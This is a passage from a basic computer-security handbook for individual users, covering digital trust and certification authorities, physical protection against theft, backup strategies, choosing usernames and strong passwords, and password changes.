The most obvious example of illegal copying today can be observed in the music industry, which is fighting the distribution of “pirated” recordings, often in CD format. The protection of digitally recorded intellectual property is an unresolved issue at the moment, though there has been considerable effort in the industry to come to grips with new technology and distribution issues, both in the United States and around the world. As long as near-perfect digital copies of information products can be made easily and their origin is not traced back to a specific sale, the gray market for entertainment products will exist. The technology used in music piracy could also be deployed in other circumstances; trade secrets or other confidential information could be lifted and distributed in ways that could damage a business severely. Valuable assets require adequate protection. It is possible to provide this protection, but the risks and methods will be different for a firm in an e-business mode than they were for the firm operating as a traditional business, before e-commerce evolved.

Towards a New Model of Trust

The new digital environment requires us to re-evaluate our notions of trust. In the real world we use a variety of measures to decide how much to trust a person, a process, or an organization. We have our intuition, which is based upon past experience and match what we observe with what we have experienced. In making such decisions, we assess a person’s words, absorb non-verbal communications, and observe events in a rich environmental and informational context. In an exchange of information in cyberspace, most non-verbal elements of communication are missing. When we receive a piece of electronic mail or read a web page, we cannot always tell if the information is accurate and if we see that it is not correct, we do not know whether the errors are the result of negligence or whether there is a deliberate effort to deceive us. In the absence of other information, we do not know if the author is the person that he or she claims to be.

Deception occurs in the real world too, of course, but it is generally easier to determine the truth of a situation with physical actors and real locations.

Fortunately, some help is on the way in cyberspace through the concept of a certification authority. This is an authority that is formally recognized as providing authentication for the identity of an individual or organization. This concept exists in the real world as well; if you hold a national passport, your government presumably has authenticated your identity and the passport is the token that you can present to prove it. Similarly, if you have a license to drive a motor vehicle, a regional or national agency of your government has issued the license, both authenticating you and also granting you the privilege of driving a vehicle. Credit card companies authenticate you through the issuance of credit cards. Your employer or school may authenticate you through an identification card. This card may authorize your access to certain services that they are providing for employees or students in their domain. Clearly, there are quite a few certification authorities in the real world. Generally each of these authorities has a special purpose in authenticating you, although the proof of authentication may be used for broader purposes. The thoroughness of the authentication differs from authority to authority; some may require detailed proof of your identity, while others may accept what you say without validation.

Certification authorities in cyberspace share these properties. Various levels of certification provide for different degrees of assurance that the certification is correct. Multiple certification authorities exist in cyberspace, although it's more likely that one certification will be sufficient for most or all purposes. In addition, with electronic certification, certificates can be 'signed' electronically in a way that provides certainty that the certification transmitted is genuine and accurate. Such a system of certification is more formal and quantitative than the intuitive and experiential methods used in the real world. In the digital world, we need to rely on more formal methods to establish the trust required to support business and financial transactions conducted over electronic networks.

Governments have a role in ensuring that adequate mechanisms exist so that new trust models are viable and helpful for its inhabitants. Small and medium sized enterprises, in particular, depend upon the existence of trust when doing business electronically. In some countries, governments believe that government agencies should act as certification agencies, either exclusively or not. In other countries, governments believe that the certification authority function should be left to the private sector. Regardless of the specifics of the implementation, the goal is clear. Government policy can facilitate trust mechanisms that will enable its inhabitants, individual and organizational, to participate in e-commerce activities on an equal footing with other countries.

Summary

Digital technology provides us with exciting new tools that can have a major impact on education, health, commerce, and other sectors of civil society.
This technology benefits all countries and people, but has a special attraction for developing countries in that it can help to accelerate their integration into the world economic community. The technology is still in its infancy, but it is developing rapidly. Unfortunately, as with other technology developments, the Internet can be used for good or evil. As we have seen, there are crackers and cyber criminals using it to attack individual users and all types of organizations.

The notion of safe computing, or being “cyber safe,” is an important one. The examples in this chapter, the rate of incidents reported to the CERT, and the new incidents reported in the press on a daily basis, show why it is important to be aware of security issue and why you should take steps to ensure that your business and personal computers and data are protected. This Handbook contains a set of current “best practices” in security that may assist you in implementing the policies and procedures that are relevant to your specific situation. In addition, this Handbook also includes ample references to other materials, both electronic and print, that cover specific aspects of IT security. There are links to professional organizations that focus on IT security issues as well; all of these resources will be useful to individuals and organizations seeking to deepen their knowledge of security in a networked world.

The stakes are high for developing countries. Foreign direct investment, confidence, and trust in a developing country depend upon a secure and effective implementation of technology and infrastructure. Governments, organizations, and individuals all have a part to play in assuring the security of the country's electronic and information assets. Knowledge of the threat is paramount; appropriate action based on such knowledge should produce an environment of trust that is conducive to progress and to realizing the benefits of the new digital age for as many inhabitants of Earth as possible.

PART TWO

SECURITY FOR INDIVIDUALS

CHAPTER 1.
INTRODUCTION

Part 2, Security for Individuals, is aimed at all computer users, from novices to experts and should serve as a primer on how to use your personal computer safely. Safe computing is possible, but it takes knowledge, vigilance, and care. The language in this section will include a certain degree of technical jargon; in general, some technical terms are defined in the mini-glossary at the end of Part 2; they also appear in the full Glossary in Annex 1 of this Handbook.

The first step in devising a security strategy is to understand what "safe computing" means. If you practice safe computing, you are seeking to ensure that:

- your data and programs will not be altered or disappear unless you request it;
- your computer and programs will behave the way their designer intended (with the exception of software bugs which are unintended flaws in program code);
- no one will use your computer, your data, or your network without your permission;
- you will not unknowingly spread computer viruses;
- you will not be annoyed *as much* by unwanted advertisements (spam);
- no one will watch every move you make on *your* computer;
- no one will capture any of the data that goes over your wired or wireless network;
- no one will steal your usernames or passwords on systems or sites that you access;
- if you enter credit card numbers or bank account information online, the data will be reasonably secure (at your end of the connection; obviously you have less control over what happens at the other end of the connection).

In the personal computer context, if you ignore security issues, the results can range from annoying but costless, to time-consuming and expensive. In a professional computing context, the problems caused by unsafe computing could jeopardize your business. In either case, someone must take responsibility for assessing the risks, developing a security plan, and executing that plan. Even with detailed knowledge of information technology (IT) security issues, you will not be able to control all aspects of your computing environment. However, if you follow the guidelines in this Handbook and survey the resources available to you, you will be able to minimize the risks and develop appropriate responses to the evolving world of information technology.

Covering all of the issues related to security for individuals would take hundreds of pages. Most people do not have the interest or time to read such a complete study. This summary provides the information required for a typical user to understand and implement a reasonable degree of security on his/her computer. At times, the material presented in this Handbook may over-simplify some of the more complex issues. The bibliographies provided in the Annexes offer references to print resources, electronic resources, and organizations that will aid the user in further study of IT security issues.

CHAPTER 2.
UNDERSTANDING AND ADDRESSING SECURITY

At a Glance

This chapter evaluates why computer and network security are necessary. It addresses the impact of security breaches and it assesses the initial measures required to counter such breaches. The chapter also includes a list of definitions of technical terms; additional terms are defined in Annex 1.

Why are Security Measures Required?

In the early days of computing on shared systems, there were usernames, but no passwords. Passwords were added once the first malicious (or curious) users began to abuse the ability to logon via username only. Today, there are a number of reasons to think about computer and network security:

- The value of your investment in hardware equipment and software programs. Computers and software packages are expensive. Replacing them may be costly and difficult. Even if you do not lose the actual hardware and software, security problems can require a re-installation of all software programs and then re-configuration to meet your specific needs. This can be time-consuming, if not impossible, for someone with only a moderate degree of technical knowledge.

- The value of your business data. This data could include your customer lists, financial projections, or proprietary programs that you have written.

- The value of your personal data. Your personal data may not have any clear monetary value, but a *loss* could be expensive (see later definition of identity theft), and you should consider how much time it may take to recreate the information.

- The threat of computer criminals. As technology has advanced, a class of people who take advantage of networked computers to steal data has emerged. In some cases, they are operating for benign (or malicious) kicks or to prove to themselves or to their friends that they can do it. In some cases, they are operating for personal gain (stealing credit card information, engaging in fraudulent transactions). In any case, these people can cause inconvenience and damage; in extreme cases they may createserious problems for individuals and businesses whose data has been compromised. Since the Internet is available to users worldwide, it can be complicated, if not impossible, to trace where the attacks are coming from and to stop the intruders permanently.

Why is security lacking?

Software programs are often developed without a focus on securing them. This happens for several reasons:

- Ignorance – the programmer or designer did not know about the need for security;
- Low priority – until recently, security issues did not have the visibility that they now do. As a result, even people who knew about security issues chose to ignore them;
- Time and expense – some people think that it is more expensive and time consuming to design, code, and test for security issues during the software development process; and
- Sloppiness – in some programming efforts, the same mistakes are made repeatedly, some of these mis takes make security breaches possible.

- People are innovative and motivated individuals will find ways to circumvent security or to discover errors that create security exposures.

- Normal users (potential victims of security breaches) are not sufficiently aware of the threats around them and do not make an effort to follow proper procedures for securing their data and their systems.

- Some users may be aware of security issues, but simply do not take them seriously – they assume that an attack will not be launched against them.

Assessing the Threat and the Cost of Loss

In order to understand how important security is to you, you may wish to consider a number of "what if" questions. Imagine each of the security incidents listed below and try to assess the likely results of the incident.

The key questions that you must answer are:

- Could you recover from the incident?
- How much time would it take?
- How much money would it cost?
- How would it impact your business?
- What hidden costs would there be (including loss of status or authority)?

Here are a few possible security incidents:

What if…

… someone broke into your home or office and stole your computer. For added impact, they might also take the backup disks found near the computer.

… all of the data on your machine was erased?

… all of your data was stolen. This data might include: your bank account information, a list of your user-names and passwords for web sites where you make online purchases, an important report that you are writing for work, or a school assignment that is due tomorrow and is worth 50% of the course grade.
… someone watched and memorized everything that you were doing on your computer? When you type a credit card number, they know it. When you browse a web site, they know it. When you log onto a web site or system, they are able to capture your username and password.

… your computer kept crashing when you were working on an important, time-sensitive project?

… you sent a malicious computer virus to everyone in your address book?

… your telephone bill arrived and showed that you owe the phone company more than your monthly salary for calls that you did not make?

… you received a bill for a credit card that you do not own, but the bank issuing the card is convinced that you applied for it. (And they have proof of "your" application.)

All of these situations highlight why computer security is important. Once you understand that security is important to you, the next step is to assess what a good security plan will entail:

- Will it cost you anything to implement security measures?
- How much time will it take?
- How inconvenient will it be?
- Are there things that you like to do on your computer that will become difficult or impossible?
- Can you put the security measures in place yourself or will you need help from others?

These are important questions because you need to approach security with a solid understanding of the costs in terms of money, time, and inconvenience. Without this knowledge, you might become discouraged in the process of securing your system and perhaps you would abandon the project, leaving yourself unprotected.

Will it cost you anything to become secure?

Many of the paths to good security do not require specific products and those available commercially are fairly inexpensive. Even virus-checkers, the most common purchased security product, are available as freeware. Some organizations that offer freeware products are listed in the Annexes.

How much time will it take?

You will need to devote some time to implementing and following security measures, although this commitment should not be overwhelming. In short, you will need to install the proper software and perform some routine maintenance tasks on a regular basis.

How inconvenient will it be?

How inconvenient it will be depends on your point of view. In a security mindset, you have to think

about what you are doing and you will not presume that everything is safe. For example, if someone sends you an attachment, you will decide whether you should open it or not. However, this level of caution is taken in other aspects of life. It is more convenient to cross a street whenever and wherever you wish. Nevertheless, in many places, it makes sense to check that there are no cars coming before you step into the road.

Are there things that you like to do that will be difficult or impossible?

Yes, you will have to modify your actions to some extent. Opting for increased security will prompt you to be conscious of potential problems and to avoid them whenever possible. Contemporary software packages have many attractive capabilities, however, using certain features, especially those that enhance networking and messaging, can make you vulnerable to attack. For example, you might find a web site that offers a service that you want to use. However, to access the service, you must allow it to download and run a program on your computer. If you are not sure that the people who operate the service are trustworthy, it may be better not to download the program.

Can you put the security measures in place yourself or will you need help from others?

In theory, you can be fully responsible for all aspects of security, but in practice, it may be better to share the responsibilities with others.

- Updating software programs and patches, a necessary part of being secure, is often bandwidth intensive. For someone connected to the Internet with a link running at megabit speeds, this is not a problem. However, in developing countries, bandwidth is often severely restricted and sometimes very expensive. Dialup connectivity, while sufficient for downloads, may result in high costs for connections of a long duration. It may be better to have one person download updates for common software and then to distribute copies locally. Unfortunately, this is often not as convenient as having each user work directly online.
- Many security alerts are aimed at the computer professional (although this is changing as the world becomes more security-conscious). A novice user may not know how to access these alerts. If a new user does receive the alerts, he or she may not be able to understand them or take appropriate actions in response to them. Occasionally, you may receive malicious spam claiming to be a security update from Microsoft that contains an "update" attachment. The mail, of course, is not from Microsoft and the attachment is typically a dangerous virus.
- In environments where there are a large number of machines (businesses, schools, government offices), it makes sense to have a system administrator handle some aspects of security.

If you do choose to share the tasks of securing your systems with others, you should put a good communication plan in place. More information will be provided on systems administration in other parts of this Handbook. However, assigning clear responsibilities for security procedures to a designated individual or group of individuals is an important part of the security plan.

Deciding on a personal security plan

There are many programs that address a range of computer security needs. Once you understand the threats and decide on what kinds of risks you would like to minimize or eliminate, you can take steps to put a personal security plan in place. After assessing the issues of cost, time, and inconvenience, you may decide that there are some types of threats that you will live with, at least for the time being. Your security plan will rely, to a certain extent, on software programs, but it should also include procedures, rules, and self-discipline.

Good security is a result of multiple barriers or layers. Each layer will stop certain kinds of threats. If you use a variety of barriers, you will be more successful in eliminating a variety of problems. You can use the analogy of driving a car; what do you need to do to reduce the chance that you will have an accident? Some of the techniques are:

- Keep the car in good repair;
- Drive carefully;
- If the manufacturer alerts you that there is a safety-related defect in the car, get it fixed quickly;
- Pay attention when you drive, as other drivers may cause problems for you;
- If you read in the newspaper that a bridge is broken, do not drive over it.

None of these techniques alone will keep you safe, but by employing all of them, you will be more likely to avoid an accident. In developing a good security plan, one must take a number of partially redundant steps. Consider how you might protect a valuable piece of jewelry. You keep the jewelry in a locked box, inside your locked house, and you have an insurance policy that will replace the jewelry if it is stolen. So you have several levels of protection. Any one of these *in theory* would protect you from loss, but it is wiser to take all precautions. That way, if one of the methods should fail (perhaps there is an untrustworthy workman in your house – so the locked door will not help), there are still safeguards in place.

The principle that needs to be understood is that virtually all security techniques can and will fail occasionally, either due to design problems, poor implementation, or human error. This applies to tools such as virus checkers, encryption and passwords. Any tool may fail at times and you should never rely on a single method to save you from disaster.

The Role of the User in Security

The primary user of a computer clearly has a large role to play in ensuring that the computer and its software are set up with a good degree of security. In addition, other users of that computer also have a role to play in ensuring that safe computing practices are followed carefully. As we will see, one of the greatest threats to safe computing is a user who does not understand or is not sufficiently diligent about security.

Security is an Art, not a Science

There is nothing guaranteed in trying to secure your computer and network. There are always new bugs, new forms of attack, and new opportunities for breaches that arise from human error. However, if you study and follow a set of *best practices* in security with diligence and care, you are improving your chances at operating your system securely. It also helps to stay current with the field through web site research and the mailing lists of respected computing organizations, some of which are listed in the Annexes. Such research may help guide your security practices, particularly when new or unusual circumstances are present.

CHAPTER 3.
KEEPING YOUR COMPUTER AND DATA SECURE

At a Glance

This chapter investigates ways in which you can keep your computer physically secure and ensure that its programs and data are protected from loss. Topics include physical security, backups, and authentication through the use of usernames and passwords.

Introduction

One of the best ways to master the concepts of information security is to take a rules-based approach. Starting with Physical Security, the next few chapters in Part 2 will take you through the basics of setting up security procedures for your personal computer or those of your colleagues, if you work in a small group. Information on the technical aspects of security for larger organizations or more experienced users is featured in Part 5 of this Handbook. If you are comfortable with the concepts introduced here, you may decide to build on your knowledge by consulting Part 5 – Security for Technical Administrators.

Physical Security

The first step is to ensure that your computer is physically secure. This may be a trivial or non-trivial exercise, depending on what you own, where it is kept, and how critical the computer and data are.

Computer Theft

Computer theft is a growing problem. Computers, particularly laptops, are often very easy to steal and difficult to recover. If the thief is not interested in using the computer himself, there is a strong market for used computers, stolen or otherwise. Some thieves do not even bother to steal the entire computer and monitor, but will take certain parts, perhaps the memory or the processor. Both items are marketable, simple to conceal and transport, and very difficult (if not impossible) to trace.

Rule 1: Think about computer theft *before* it happens.

Having your computer stolen is certainly inconvenient. It may also be expensive if you have no (or insufficient) insurance. In some cases, the loss of data could expose your business or personal secrets to others. In extreme cases, a stolen computer could put you out of business. Fortunately, by following a number of simple and inexpensive measures, you can dramatically reduce the chance that your laptop or desktop will be stolen. There are two main preventive techniques: make your computer difficult to steal and/or make it less desirable for those who would want to use it.

Make it difficult to steal and access

There are several ways to prevent a thief from taking your computer:

- Ensure that the place where you keep the computer is secure. It can be locked up in a room or it can be watched by your colleagues, if you work in an office with many employees. Don't leave your computer unattended in public places such as airports.

- Use an alarm system, if it is likely that someone might break into your office at night, for example, when no one is around.

- Consider securing the computer to a desk or pipe or other immovable object using heavy wire cable or chain. This method is often used in semi-public areas such as libraries or schools. Many computers have a convenient place to connect such a tie-down. Virtually all laptops have a connection point for a security cable; special cables and locks are sold for them.

- If the computer has a lock to prevent the case from being opened, use it. You can also buy special screws that cannot be undone easily.

- If there is potentially valuable information on your computer (business data, personal information), you should consider restricting logical access to it when you leave it in hotel rooms or other unattended locations. *Logical access* means actual use of the computer once you have physical access to it.

Robust logon passwords and password-protected screen-savers are a good start in this direction. (See the section on Authentication later in this chapter).

- Laptops and PDAs (Personal Digital Assistants) are small and easily lost. Get in the habit of putting them away immediately when they are not in active use.

Make it less attractive to take

Few people will want to buy a used computer if it is obvious that it was stolen. A simple and inexpensive way to make it less attractive to would-be purchasers is to identify your property with non-removable tags or mark the equipment with paint. The markings can include your name or other identifying information. If you use this method, do not get any paint in ventilation slots or other openings. Be aware that marking the computer case can void your warranty.

Computers are delicate

Computers are particularly sensitive to dust and rough handling. If you operate computers in dusty environments, they should be cleaned regularly, with extra care taken that ventilation openings are not blocked. Computers are also sensitive to drops and bumps.

Other aspects of physical security

If you open up your computer to install new hardware, don't ignore the warnings about reducing electrostatic shocks – making sure that your body is grounded is essential.

Using Backups to Protect Your Data

In the last section, we addressed physical security. In this section, we will consider a different issue – ensuring that your data and your programs are secure. How do you protect your computer data from corruption or loss?

Rule 2: Make backups regularly and take steps to ensure that they will survive if your computer is physically threatened.

Data can be corrupted or lost for a number of reasons. Some of the more common ones are:

- Accidentally deleting a file;
- Accidentally storing a new file under the same name as an old one, wiping out the old one;
- A misbehaving program that alters or corrupts your data;
- A misbehaving program that deletes your data;
- A rogue program (perhaps a virus) that alters, over writes or deletes your data;
- A hardware failure (perhaps in the hard disk, or its controller, or the processor or power supply) that destroys data;
- A fire burns your computer or the water that is used to put out the fire renders the computer useless;
- The entire computer is stolen.

Creating backups is one solution to all of these problems. A backup is a copy of a file, or set of files, transferred onto a floppy disk or CD-ROM and put away for safekeeping. If the original file is inadvertently deleted or corrupted, the backup can be retrieved and the original file can be replaced.

Backups can be very simple, (e.g. a floppy disk in your desk drawer) or they can be exceedingly complex. Many backup software packages will let you copy every file on your computer onto a magnetic tape or a series of CD-ROMs. If your computer is lost or stolen, you can buy a new computer and the backup system will restore all of your files and applications on the new computer, assuming that the architecture of the new computer is similar to that of your old one.

Bugs, accidents, natural disasters, and attacks on your system cannot be predicted. Often, despite your best efforts, they can't be prevented. However, if you have good backups, at least you won't lose your data and, in many cases, you will be able to restore your system to a stable state. Even if you lose your entire computer, with a complete set of backups you can restore the information after you purchase or borrow a replacement machine. Of course, this will only work if the backups were stored away from the computer and not lost along with the computer.

Here are some reasons why backups are a key element in computer security:

User error

People accidentally delete their files. With graphical user interfaces, it's all too easy to accidentally drag a file or folder to the wrong place. Creating periodic backups makes it possible to restore files that have been deleted accidentally, protecting you from "finger-failure" mistakes.

Hardware failure

Hardware breaks from time to time, often destroying data in the process. Disk crashes may destroy the complete disk, but if you have a backup, you can restore the data onto a new drive or system.

Software failure

Many application programs, including Microsoft Word, Excel, and Access, have been known to corrupt their data files on occasion.[23] If you have a backup and your application program suddenly deletes half of your 500 x 500-cell spreadsheet, you will be able to recover your data.

Electronic break-ins and vandalism

Computer attackers and malicious viruses frequently alter or delete data. Your backups may help you recover from a break-in or a virus incident.

Archival information

Backups provide archival information that lets you compare current versions of software and databases with older ones. This capability lets you determine what you've changed, intentionally or by accident. It also provides a valuable resource if you ever need to go back and reconstruct the history of a project.

Theft

Computers are easy to steal and easy to sell. Not only should you make a backup, but you should also take it out of your computer and store it in a safe place; there are many cases where backups were stolen along with the computer system.

Natural disaster

Floods, earthquakes, and fires are all effective at destroying the places where we keep our computers. Here too, it is important to keep backups off site.

Other disasters

Sometimes Mother Nature isn't to blame: gas pipes leak and cause explosions, coffee spills through ventilation holes, computers may get dropped or knocked over. In each case, backups can prevent a misfortune from turning into an irrecoverable situation.

With all of these different uses for backups, it's not surprising that there are many forms of backups in use today. In fact, the perfect backup to recover from one of these problems might be useless for another. It is useful to remember the multi-layered defense concept and employ several forms of backup systems to cover the range of risks that you face in your home or office.

Here are a few types of backup methods to be considered:

- Copy your critical files to a floppy disk or a high-density removable magnetic or optical disk.
- Copy your entire disk to a spare or "mirror" disk or copy a disk to a folder/directory on the same disk if there is sufficient room. Obviously this will not help for catastrophic types of failure, but it does give you a copy in case of accidental deletion.
- Make periodic compressed archives of your important files.[24] You can keep these backups on your primary system or you can copy them to another computer, possibly at a different location.

[23] This statement is not meant to imply that these products have more such problems than others – they are listed only because they are the most popular applications used by users.

[24] Examples of compressed archives include "zip" and "tar" files that can contain very bulky information in a dense form. They are "unzipped" and individual files may be called up through fairly simple procedures. There are a number of vendors and some freeware available for file compression.

- Back up your files over a network or over the Internet to another computer.
- If you want high security against hard-disk failure, you may consider having two hard disks in your computer and use hardware/software that duplicates everything that is on the first disk on the second one as well. If you do this, you *still* need regular backups to protect against other types of problems.

What Should You Back Up?

There are two approaches to computer backup systems:

1. Back up everything that is unique to your system except the application programs. This primarily includes your data files, but it *should* also include all of the files that tailor your operating system and your applications to you. It may be somewhat challenging to figure out where all of these files are kept and it is difficult to know whether it is safe to restore them later without making other critical changes. However, you may choose to keep all of your *data* files in a few major directories or folders. This way, you can make backups that only contain your unique work.

2. Back up everything. With an *image* backup, depending on the utility you use to make it, you can restore the system in its entirety. You can also restore individual files or directories/folders selectively.

We recommend both approaches.

1. Make a complete image backup as soon as your system is set up and back the system up periodically, perhaps once every several months.

2. On a more regular basis, you should back up your personal data. Depending on the backup utility that you use, there are several basic methodologies:

   a) Unless you have a massive amount of personal data, back up all of your data periodically, (every few months, for example).
   b) If you have a lot of personal data, you may consider backing it all up periodically and, at more frequent intervals, back up only the files that have changed since the last full backup. This is called an incremental backup. In this case, to restore a file or files, you will need the last full backup plus the last incremental backup.

There are other variations of these back up methods. Typically, backup utilities offer advice in their instructions on how to use their products.

Where should I keep my backup copies?

The answer to this depends on how you may use the backups. If you are trying to protect your system from theft or fire, the backups must not be stored near your computer system. Ideally, they should be located far enough away that natural or man-made disasters affecting the system do not affect the backups. However, if you will use your backups for recovering data that has been deleted or altered accidentally, then you will want to keep them in a more convenient location.

One solution is to keep the full backups off site and incremental backups nearby. Another is to keep the most recent data backup nearby and a less recent copy off site. Some people make two copies of every backup, so they can keep one full copy on site, and one farther away.

Remember, if you have data on your computer that someone may want to steal, they can steal it from the backup as well. So it is important to protect the physical security of your backup, just as you protect the computer itself.

Will I be able to read the backup?

There are a number of reasons that you will not be able to read a backup when you need it. Among them are:

- The copy is too old or is physically damaged. This is most likely to occur with floppy disks or other magnetic media.

- The device that wrote it was poorly adjusted and therefore what was written cannot be read. In this case, it *may* be readable by the same device that wrote it.

- Media failure. Media failure was common on old floppy disks. It was not unusual to create a disk that could not be read, even few days later. Optical disks (such as CD-Rs) have been thought of as extremely stable. However, a recent study of CD-R reliability has indicated that lower quality CD-Rs may not be readable in as little as two years after they are written.

It is always good practice to try to read a backup, preferably on a different device than the one that wrote it, to ensure that it is readable. If you write backups to removable magnetic disks (floppy, zip), make sure they are clean and reasonably new.

Some people keep their backups for a long time. It is amazing how often you really want to reuse a copy of a document or image or program that you had several years ago. If you keep backups for a very long time, you need to consider the possibility of media *obsolescence*. The data stored on a 5 _" floppy disk from the 1980s may still be there, but will you be able to find a computer with a 5 _" floppy drive?

How many copies should I keep?

Let's say that you make a backup once a week, so if you have some catastrophic failure, you will not lose more than one week's work. These backups are good from a security standpoint, but over time they will take up space. How many of these backups should you keep? If you are using CD-Rs as the backup media, there is no reason to discard them quickly, as they are small and cannot be reused. If you are using magnetic disks or CD-RW, then they can be reused. But you should always keep several backup copies. In the above example, you might keep the most recent four copies.

Why is this good practice? What possible reason would there be to keep the copies from the past month when you have the more up-to-date copy from last week? The reason is simple: it is always possible that the copy you made most recently is bad or will be lost, or stolen. The copies from last month are not as complete, but they are better than nothing. This is another example of how good security is composed of multiple, partially redundant measures.

Backing up purchased software

If the license allows it, always make a copy of software CD-ROMs and use the backup for routine installation and maintenance operations.

The most important thing about backups

The *most* important thing about backups is that you create them regularly. Many people avoid the trouble of making backups. They may have even suffered previous losses due to insufficient backups, but they feel that they will not get hit again. Avoid risk and make regular backups!

Authentication

Authentication allows your computer or a distant web site to know who you are. It also should prevent other people from pretending they are you. Typically, you will be known by a user identification and password, although there are many variations on this theme. The challenge is to make your user identification and password combination hard to guess, so that attackers cannot figure it out. At the same time, it should be memorable enough so that you don't forget it or feel the need to write it down next to the computer. If you use computers and the web frequently, you will have *many* usernames and passwords. If they are all written in an obvious place near your computer, the usernames and passwords are not very secure.

User Identification

Most systems that want to identify you will either assign or ask you to select a "User Identification." It goes by many names: username, userid, member number, member name, etc. In this discussion, we will use the term *username*. Some systems will use your e-mail address as your username. In fact, your e-mail address is a specific example of a *username*. Systems often have rules about how the username should be composed.

- Some systems limit the length of the username, for other systems, the length is effectively unlimited.

- In some cases, any printable character is allowed in the username. In others, you may be limited to letters and numbers and perhaps a few punctuation marks.

- Some systems ignore upper and lower case, while others treat them as different characters (an "A" is not the same as an "a").

If the system or web site does not give you a choice, then it will decide what your username is and you will be required to use this name. However, in the cases where you can select your own username, what are the criteria that you should consider? Sometimes, there are competing criteria, not all of which can be met at the same time.

- Do you want your username to reveal who you really are? Will this username be used to help your friends and colleagues recognize you? An e-mail address is often such a username.

- Do you want the username to help conceal your true identity? If you are using this name to participate in some group activity (such as an online game or chat group), you might not want people to know who you really are.

- Do you want this username to be easy for you to remember? If it is a username for some online service that you visit infrequently, you might want to pick a username that you will not forget. Some people use the same username for many services, if there is not critical or valuable information associated with these services.

- Do you want this username to be difficult for other people to guess? If it is the username to access your bank account, you might want to make it difficult for others to guess what it is (this goes back to the concept that effective security is made up of multiple, partially redundant layers; if you use your publicly known e-mail address to access your bank, it makes it easier for a thief to "guess" your bank username).

Passwords

Rule 3: Select passwords that you will be able to remember but will be very difficult for someone else to guess.

Although usernames are often given to you without offering you a choice or are likely to be publicly known (such as your e-mail address), passwords can nearly always be set by you. Their form should make it difficult for an unauthorized person to access your account.

When passwords are stored on the host system, they are usually encrypted, so someone looking at the disk cannot see your password. In some cases, they can be decrypted by someone who knows the key. In other cases, it is not possible to decrypt the password (one-way encryption); when you enter a password while logging on, it is encrypted and compared to the version on disk (see Addendum 1 on Encryption for more details).

Due to poor security on some host systems, at times it may be possible for attackers to access the entire password table and find the encrypted passwords for all users. Even if these passwords use one-way encryption and cannot be decrypted, it may still be possible for the attacker to determine what your password is. The encryption algorithm used for these passwords is typically documented and known. The attacker could use this algorithm to encrypt all the words in a dictionary, as well as other commonly used passwords. So if you used the word "birthday" as your password, when the attacker encrypted the word "birthday," he would find that the encrypted version is the same as what is on disk and would now know your password!

Since the whole idea of passwords is to make it difficult for someone to guess, but to allow you to sign on at will, one can state a number of criteria and techniques associated with robust passwords. Like usernames, each system has certain rules regarding the password formats (minimum and maximum size, what characters are valid, etc.)

- Never use single words in your native language (or English) as a password. A phrase or a sentence, or several word fragments is much better.
- If the system treats upper and lower case as different letters, use both, and do not place them where they would be used in normal writing.

- Mix numbers, allowed punctuation, and blank spaces, if the system allows it.
- If the system allows blank spaces and your password is a phrase, consider omitting some of the spaces (that is, have the words run together).
- To make your passwords easy to remember, you may be tempted to use the same password for many systems. If you do this, remember that once an attacker discovers your password on one of these systems, he or she can make a pretty good guess that it is the password on your other systems, so *only* do this for systems where you have absolutely nothing to protect. For example, some newspapers require a username and password to read articles on their web site. No money or confidential information is involved, they just want you to log on, and so it may be all right to use the same password for newspapers and similar reading material.
- Some people replace letters in words with similar looking numbers or punctuation. They use the digit "1" for the letters "I" or L", the number "3" or the symbol "#" for the letter "E", the digit "0" for the letter "O", the symbol "@" for the letter "A" and the digit "5" for the letter "S." This is a useful artifice, but remember, a good attacker knows about these tricks and they make his job a little bit harder, but not impossible.
- Replace the letter "I" with the string "eye" or "aye" or whatever makes sense in your language. This works particularly well with words like "icon" which is now "eyecon."
- Use acronyms (the first letters of the words in some familiar expression). For example, "tgbwc" is an acronym for the Coca Cola slogan "Things go better with Coke."
- Spelling words backwards slightly obscures the words but does not make them much harder to crack.
- Never use:
  - Your username, or some variation of it
  - Your name
  - Your maiden name
  - Your spouses name or maiden name
  - Your children's names
  - Your parent's names
  - Your pet's names
  - Your co-worker's, boss's or friends names
  - Your birthday, or the birthday of any of your friends or relatives
  - Your address, phone number, license plate number or similar identifiers
  - Your favorite color
  - Your job title or rank
  - Your company name or school name
  - Anything else that is commonly identified with you
  - Classic passwords such as "xyzzy" or "plover" (passwords used in the first computer game), "abracadabra" and "open sesame"
  - Words in popular movies, news or literature. Examples are "Harry Potter", "Lord of the Rings", and "Gone with the Wind".
  - Letters on the keyboard in order (such as "SDFGHJ")
  - Adding a single digit before or after any of the above.
  - Repetitions of the same letters or numbers, or in sequence ("aaaa9999", "123456", "ABCDEFG")
- Some systems require a minimum number of characters in a password or a certain number of letters and/or digits. Although long is good, as is mixed case, if you are not a very good typist, think about whether some one looking over your shoulder will be able to figure out what you are typing.
- Whatever the password is, you will have to remember it, preferably without writing it down. If you need to write down a password, never write it near where it will be used, or with a label on it identifying it as a password.
- Never keep an unencrypted list of passwords in a computer file.

The best password is a very long string of random numbers and letters. However, for most of us, this would be impossible to remember and a password that is written on a note on your computer screen or under your keyboard is not secure.

Here are some examples of reasonable passwords (for a system that accepts letters, numbers, special symbols and blanks, and treats upper and lower case as different letters) along with variations of each. They are memorable and yet not easily guessed or found in a dictionary.

Password	Comment
Computers Are Useful	Something many computer users will agree with.
Computers aReuseFul	One blank missing, funny capitalization.
C0mputer5@reus#fv1	Digit 0 for letter 0, 5 for s, @ for a, # for E, V for U, 1 for L, no blanks.
comp9uter8sare7usef6ul	The original expression, with no blanks and with digits interspersed every four characters.
comutrsareusful	The original expression with a few letters missing.
onupatithwa	In many countries where there is a tradition of story telling, there are standard forms for beginning the story. In English speaking areas, children's stories often began: " Once upon a time, there was ...." In this example, each word is truncated to two letters to limit the length, which makes it less recognizable than "onceuponatimetherewas".
oNup@T-1thuua	The same thing, but with some substitutions, upper case letters, and arbitrary punctuation inserted.

Changing your Password

Passwords should be changed periodically. The frequency of changes is the subject of debate. Some security specialists recommend changing passwords very often, but others argue that making changes too frequently increases the need to write passwords down or pick simplistic passwords. For *typical* applications, the following recommendations are realistic:

- Change your password immediately if you think that it may have been compromised.
- If you give your password to someone else for any reason, change it immediately after they are finished. Sharing passwords is generally a bad thing, and should be avoided unless there is no alternative.
- Change you password periodically, just in case it has been compromised. "Periodically" is subjective, but between six months and a year is reasonable.
- If you belong to an organization that has a more stringent policy, follow it.

Restrict Privileges

